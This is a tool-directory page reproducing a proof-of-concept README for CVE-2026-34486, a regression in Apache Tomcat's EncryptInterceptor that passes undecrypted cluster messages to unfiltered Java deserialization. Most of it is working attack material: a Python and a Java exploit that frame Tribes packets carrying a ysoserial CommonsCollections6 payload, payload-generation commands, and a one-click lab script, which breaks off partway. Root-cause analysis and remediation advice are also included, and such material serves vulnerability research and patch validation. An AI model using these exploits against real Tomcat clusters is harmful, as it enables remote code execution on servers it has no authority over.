Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现(使用GLM5.1复现完成) | Kitploit
Tools/GitHubGitHub/airskye/cve-2026-34486-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现(使用GLM5.1复现完成)

View Repository
12135 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34486 Apache Tomcat EncryptInterceptor Bypass Vulnerability Reproduction

1. Vulnerability Overview

AttributeDetails
CVE IDCVE-2026-34486
SeverityImportant / High (CVSS 3.1: 7.5)
Vulnerability TypeCWE-311 Missing Encryption of Sensitive Data / CWE-807 Reliance on Untrusted Inputs
Affected VersionsApache Tomcat 9.0.116 / 10.1.53 / 11.0.20
Fixed VersionsApache Tomcat 9.0.117 / 10.1.54 / 11.0.21
Root CauseIn EncryptInterceptor.messageReceived(), super.messageReceived(msg) was moved outside the try-catch block

Vulnerability Root Cause

When fixing CVE-2026-29146 (Padding Oracle), developers refactored the EncryptInterceptor.messageReceived() method, moving super.messageReceived(msg) from inside the try block to outside it:

Before the fix (secure):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

root@kitploit:~
**Vulnerable Code (Dangerous):**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

Bytecode verification (from EncryptInterceptor.class in Tomcat 9.0.116):``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

root@kitploit:~
---

## 2. Reproduction Environment

| Component | Version/Configuration |
|---|---|
| Operating System | Ubuntu 22.04 (sandbox environment) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (vulnerable version) |
| Gadget Library | Commons Collections 3.1 |
| Attack Tool | ysoserial v0.0.6 + custom Python/Java PoC |

### Environment Topology```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

3. Detailed Reproduction Steps

Step 1: Download and Install the Vulnerable Tomcat Version```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

root@kitploit:~
### Step 2: Install the Gadget Library```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

Step 3: Configure the Cluster + EncryptInterceptor

Edit tomcat-node1/conf/server.xml and add the following inside <Engine>:```xml

root@kitploit:~
> Note: `encryptionKey` must be in hexadecimal string format (e.g., `546869734973415365637265744B6579` = ASCII hex of "ThisIsASecretKey"), not a plaintext string.

### Step 4: Enable Session Replication

Add the following to `webapps/ROOT/WEB-INF/web.xml`:```xml
<distributable/>

Step 5: Start the Tomcat cluster```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

root@kitploit:~
**Actual startup log confirmation:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

Step 6: Generate the Deserialization Payload```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

root@kitploit:~
### Step 7: Construct and Send Tribes Protocol Messages

Tribes messages require a specific XByteBuffer framing encapsulation format:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

其中 ChannelData 载荷结构:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

root@kitploit:~
**Key**: The message body is placed directly into an unencrypted Java serialization payload—this is the core of the exploit—EncryptInterceptor will attempt to decrypt it, and upon failure, still pass the raw bytes to the subsequent chain.

#### Method 1: Python PoC script (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END


def build_channel_data(message_body, host_bytes, port):
    """构造 ChannelData 载荷"""
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)

    channel_data = b""
    channel_data += struct.pack(">i", 0)                        # options (无 ACK)
    channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
    channel_data += struct.pack(">i", len(unique_id))          # uniqueIdLen
    channel_data += unique_id                                    # uniqueId
    channel_data += struct.pack(">i", len(member_data))        # memberDataLen
    channel_data += member_data                                  # memberData
    channel_data += struct.pack(">i", len(message_body))       # messageLen
    channel_data += message_body                                 # message body

    return channel_data


def build_tribes_packet(channel_data):
    """封装 XByteBuffer 帧"""
    return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA


def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
    print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
    print(f"[*] 目标: {target_ip}:{target_port}")
    print(f"[*] Payload: {payload_file}")

    # 读取 payload
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()

    print(f"[*] Payload 大小: {len(raw_payload)} bytes")
    print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")

    if raw_payload[:2] != b'\xac\xed':
        print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")

    # 解析目标 IP 为字节数组
    host_bytes = socket.inet_aton(target_ip)

    # 构造 Tribes 消息
    # 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
    # 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = build_tribes_packet(channel_data)

    print(f"[*] 完整数据包大小: {len(packet)} bytes")
    print(f"[*] 连接到 {target_ip}:{target_port}...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))

        print(f"[*] 发送 {len(packet)} 字节的数据包...")
        sock.sendall(packet)

        print("[+] 数据包发送成功!")
        print("[*] 等待目标处理...")

        # 等待可能的响应或 ACK
        try:
            response = sock.recv(4096)
            if response:
                print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
        except socket.timeout:
            pass

        sock.close()
        print("[+] 连接关闭")
        print()
        print("[*] 漏洞触发标志:")
        print("    1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
        print("    2. 随后发生反序列化 -> RCE")
        print("    3. 没有反序列化异常日志(静默执行)")

    except ConnectionRefusedError:
        print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 错误: {e}")
        sys.exit(1)


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
        print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
        print(f"      {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    payload_file = sys.argv[3]
    receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port

    if not os.path.exists(payload_file):
        print(f"[-] Payload 文件不存在: {payload_file}")
        sys.exit(1)

    send_exploit(target_ip, target_port, payload_file, receiver_port)

Usage:```bash python3 exploit.py 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
#### Method 2: Java PoC Script (`ExploitSender.java`)```java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;

import java.io.Serializable;

/**
 * CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
 * 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
 * 解密失败后,原始未加密字节仍被传递给后续处理链
 */
public class ExploitSender {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
            System.exit(1);
        }

        String targetHost = args[0];
        int targetPort = Integer.parseInt(args[1]);
        String payloadFile = args.length > 2 ? args[2] : null;

        System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
        System.out.println("[*] 目标: " + targetHost + ":" + targetPort);

        // 读取 payload
        java.io.File f = new java.io.File(payloadFile);
        java.io.FileInputStream fis = new java.io.FileInputStream(f);
        byte[] payload = new byte[(int) f.length()];
        fis.read(payload);
        fis.close();

        System.out.println("[*] Payload 大小: " + payload.length + " bytes");
        System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));

        // 直接通过 TCP 发送 Tribes 格式的消息
        // 构造 ChannelData 数据包
        java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
        java.io.OutputStream out = sock.getOutputStream();

        // 使用 Tribes 内部格式发送
        // XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
        byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
        byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33};   // "TLF003"

        // 构造 ChannelData 载荷
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);

        // options (4B)
        dos.writeInt(0);
        // timestamp (8B)
        dos.writeLong(System.currentTimeMillis());
        // uniqueId length + uniqueId (4B + 16B)
        byte[] uniqueId = new byte[16];
        new java.util.Random().nextBytes(uniqueId);
        dos.writeInt(uniqueId.length);
        dos.write(uniqueId);

        // member data - 构造最小的 MemberImpl
        java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);

        byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
        byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();

        // MemberImpl inner data
        java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
        innerDos.writeLong(0);  // memberAliveTime
        innerDos.writeInt(targetPort);  // port
        innerDos.writeInt(0);   // securePort
        innerDos.writeInt(0);   // udpPort
        byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
        innerDos.writeByte(hostBytes.length);  // hostLen
        innerDos.write(hostBytes);              // host
        innerDos.writeInt(0);  // commandLen
        innerDos.writeInt(0);  // domainLen
        innerDos.write(new byte[16]);  // uniqueId (16B)
        innerDos.writeInt(0);  // payloadLen
        innerDos.flush();
        byte[] innerData = innerBaos.toByteArray();

        // Full member data
        memberDos.write(TRIBES_MBR_BEGIN);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.writeInt(innerData.length);
        memberDos.write(innerData);
        memberDos.write(TRIBES_MBR_END);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.flush();
        byte[] memberData = memberBaos.toByteArray();

        // Write member data length + data
        dos.writeInt(memberData.length);
        dos.write(memberData);

        // Write message body length + payload (未加密的序列化数据)
        dos.writeInt(payload.length);
        dos.write(payload);
        dos.flush();

        byte[] channelData = baos.toByteArray();

        // 构造完整帧
        java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
        frameBaos.write(START_DATA);
        // length as 4 bytes big-endian
        frameBaos.write(new byte[]{
            (byte) ((channelData.length >> 24) & 0xFF),
            (byte) ((channelData.length >> 16) & 0xFF),
            (byte) ((channelData.length >> 8) & 0xFF),
            (byte) (channelData.length & 0xFF)
        });
        frameBaos.write(channelData);
        frameBaos.write(END_DATA);

        byte[] packet = frameBaos.toByteArray();
        System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
        System.out.println("[*] 发送数据包...");

        out.write(packet);
        out.flush();

        System.out.println("[+] 数据包发送成功!");

        // 等待响应
        Thread.sleep(2000);

        sock.close();
        System.out.println("[+] 连接关闭");
    }
}

Compilation and Execution:```bash

编译(需要 catalina-tribes.jar 在 classpath 中)

javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java

运行

java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
### Step 8: Verify Vulnerability Trigger

**Victim Logs (Decryption Failure + Message Still Delivered):**```
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher
    at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
    at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
    ...
    at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)

RCE successful verification (flag file created):``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

root@kitploit:~
---

## 4. Complete Diagram of the Exploit Chain

---```
攻击者
  │
  │  TCP 连接到 172.24.0.7:4000
  │  发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
  │  ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
  │
  ▼
NioReceiver
  │  解帧: 识别 FLT2002/TLF003,提取 ChannelData
  │  ChannelData.getDataFromPackage() 解析消息
  ▼
ChannelCoordinator.messageReceived()
  │  沿拦截器链向上传递
  ▼
TcpFailureDetector.messageReceived()
  ▼
EncryptInterceptor.messageReceived()  ← 漏洞点
  │
  │  try {
  │    data = msg.getMessage().getBytes();     // 获取 payload 原始字节
  │    data = encryptionManager.decrypt(data);  // ❌ 解密失败!
  │    // → 抛出 IllegalBlockSizeException
  │  } catch (GeneralSecurityException gse) {
  │    log.error("Failed to decrypt message");  // 仅记录日志
  │    // 异常被吞,执行流继续
  │  }
  │
  │  super.messageReceived(msg);  ← 💀 在 try-catch 外,仍会执行!
  │                                 msg 中仍是攻击者的原始字节
  ▼
MessageDispatchInterceptor.messageReceived()
  ▼
GroupChannel.messageReceived()
  │  反序列化: ObjectInputStream.readObject()  ← 无类过滤!
  ▼
CommonsCollections6 Gadget Chain 执行
  │  Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
  ▼
RCE 成功 ✅

5. Summary of Key Evidence

5.1 Bytecode Evidence of the Vulnerable Code

Decompiled from EncryptInterceptor.class in Tomcat 9.0.116:

OffsetInstructionMeaning
0-38try block contentdecrypt() + message body replacement
39goto 60Jump to normal end of try block
42-58catch blockCatches GeneralSecurityException, only log.error
60aload_0, aload_1Loads this and msg
62invokespecial #136super.messageReceived(msg)

Exception table: from=0, to=39, target=42 — offset 60 is clearly outside the try scope.

5.2 Runtime Evidence

EvidenceContent
Decryption failure logSEVERE: Failed to decrypt message + IllegalBlockSizeException
RCE marker file/tmp/CVE-2026-34486-PWNED created at Apr 15 03:46
Deserialization exception logNone — payload executed silently

5.3 Attack Silence

The logs contain only one SEVERE record, EncryptInterceptor.decrypt.failed, with no deserialization exceptions. This means:

  • Defenders who only focus on deserialization exceptions will not detect the attack
  • The only clue is "Failed to decrypt message", which may be mistaken for a network issue in environments where EncryptInterceptor is enabled

6. Remediation

6.1 Official Fix

Upgrade to the patched version: Tomcat 9.0.117 / 10.1.54 / 11.0.21.

Fix method: move super.messageReceived(msg) back inside the try block, ensuring only successfully decrypted messages are passed through.

6.2 Temporary Mitigations

If an immediate upgrade is not possible:

  1. Network layer: Use a firewall to restrict the Tribes communication port (default TCP 4000) to allow access only from cluster node IPs
  2. Remove EncryptInterceptor: If cluster encryption is not needed, remove this interceptor (but this loses encryption protection)
  3. Add a serialization filter: Add an ObjectInputFilter at the JVM level to restrict deserializable classes

7. Reproduction Environment Cleanup```bash

停止 Tomcat

tomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh

清理标志文件

rm -f /tmp/CVE-2026-34486-PWNED

清理整个环境

rm -rf tomcat-lab/

root@kitploit:~
---

## VIII. Summary

CVE-2026-34486 is a high-severity regression vulnerability introduced by a **one-line code displacement**. It perfectly illustrates the principle that "security fixes themselves can introduce new security flaws":

1. **Fixing the Padding Oracle (CVE-2026-29146)** → Refactoring the encryption manager
2. **Code displacement during refactoring** → `super.messageReceived(msg)` moved out of the try block
3. **Encryption interceptor completely ineffective** → Unencrypted bytes are passed directly to an unfiltered deserialization entry point
4. **Result**: Clusters deliberately configured with encryption protection become the most vulnerable targets for RCE attacks

This reproduction fully validates the entire chain from sending an unencrypted payload to successful RCE, proving the real-world exploitability of this vulnerability.

---

## IX. One-Click Reproduction Script

> The following script can complete the full reproduction of CVE-2026-34486 on a fresh Ubuntu/Debian machine with a single command. The script automatically detects and installs dependencies (JDK, Python3), downloads the vulnerable Tomcat version, configures the cluster + EncryptInterceptor, generates the payload, sends the attack, and finally outputs the verification results.
>
> **Usage**: Save as `cve-2026-34486-repro.sh`, then run `chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh````bash
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================

set -e

# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579"  # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"

# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

info()    { echo -e "${CYAN}[*]${NC} $1"; }
ok()      { echo -e "${GREEN}[+]${NC} $1"; }
warn()    { echo -e "${YELLOW}[!]${NC} $1"; }
fail()    { echo -e "${RED}[-]${NC} $1"; exit 1; }

# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."

# 检测 root
if [ "$EUID" -ne 0 ]; then
    fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi

# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1

# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"

# 验证 Python3
python3 --version
ok "Python3 已就绪"

# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."

TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"

wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"

tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"

# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."

wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"

# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."

wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"

# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."

# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys

with open(sys.argv[1], 'r') as f:
    xml = f.read()

# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)

# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
  <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
           channelSendOptions="8">
    <Manager className="org.apache.catalina.ha.session.DeltaManager"
             expireSessionsOnShutdown="false"
             notifyListenersOnReplication="true"/>
    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                   encryptionAlgorithm="AES/CBC/PKCS5Padding"
                   encryptionKey="''' + sys.argv[4] + '''"/>
      <Membership className="org.apache.catalina.tribes.membership.McastService"
                  address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
                selectorTimeout="5000" maxThreads="6"/>
      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
      </Sender>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
    </Channel>
    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
    <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
  </Cluster>
'''

# 替换被注释的 Cluster 占位符
xml = re.sub(
    r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
    cluster_xml,
    xml,
    flags=re.DOTALL
)

with open(sys.argv[1], 'w') as f:
    f.write(xml)
PYEOF

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node1/conf/server.xml" \
    "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node2/conf/server.xml" \
    "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"

ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"

# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
    mkdir -p "$node/webapps/ROOT/WEB-INF"
    cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"

# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."

chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh

export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"

info "等待集群启动 (15秒)..."
sleep 15

# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
    fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"

# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"

# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."

# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
    ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi

$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
    CommonsCollections6 "touch ${RCE_MARKER}" \
    > "$WORKDIR/payload_touch.bin" 2>/dev/null

